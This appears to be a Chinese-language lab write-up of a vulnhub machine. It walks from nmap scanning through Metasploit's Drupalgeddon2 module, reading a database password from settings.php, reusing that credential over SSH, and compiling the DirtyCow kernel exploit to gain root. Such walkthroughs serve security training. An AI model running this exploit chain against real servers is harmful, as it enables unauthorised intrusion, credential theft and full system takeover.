DirtyCow脏牛漏洞复现
本文以vulnhub靶场中的lampiao为例复现脏牛提权漏洞
扫描c段
nmap -sS -Pn 192.168.1.0/24
找到疑似ip
对该ip端口进行扫描,多扫出个1898端口
nmap -A -sV -p- 192.168.1.13
访问80端口,没有有用的信息
1898也是个apche的http服务器,直接访问,是Drupal建站的
msf或搜索引擎查找漏洞
使用这个模块
use exploit/unix/webapp/drupal_drupalgeddon2
options查看需要配置的参数有两个
set rhost 192.168.1.13
set rport 1898
直接run,拿到meterpreter
上传linux漏洞检测脚本
https://github.com/mzet-/linux-exploit-suggester
upload /root/Attack/linux/linux-exploit-suggester.sh /tmp/666.sh
运行脚本
cd /tmp
chmod +x 666.sh
./666.sh
扫到一大堆洞,但主要就想复现下脏牛dirtycow,其他部分都是常规的信息收集渗透。
脏牛漏洞影响的范围从内核2.6.22开始2007年,一直到2016年10月进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞
脏牛漏洞是 Linux 内核经典漏洞,内核内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
可以用exp也可以用msf
https://github.com/firefart/dirtycow/blob/master/dirty.c
先要ssh登录才能打
ls /home
找到用户
cat /var/www/html/sites/default/settings.php
找到了mysql的密码
用这两个成功登录
ssh tiago@192.168.1.13
找脚本
searchsploit dirty
定位脚本的具体位置
locate linux/local/40847.cpp
通过msf上传到靶机
upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
编译脚本
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o 40847 gcc生成的目标文件,名字为40847
得到root的密码
ssh登录root
拿到flag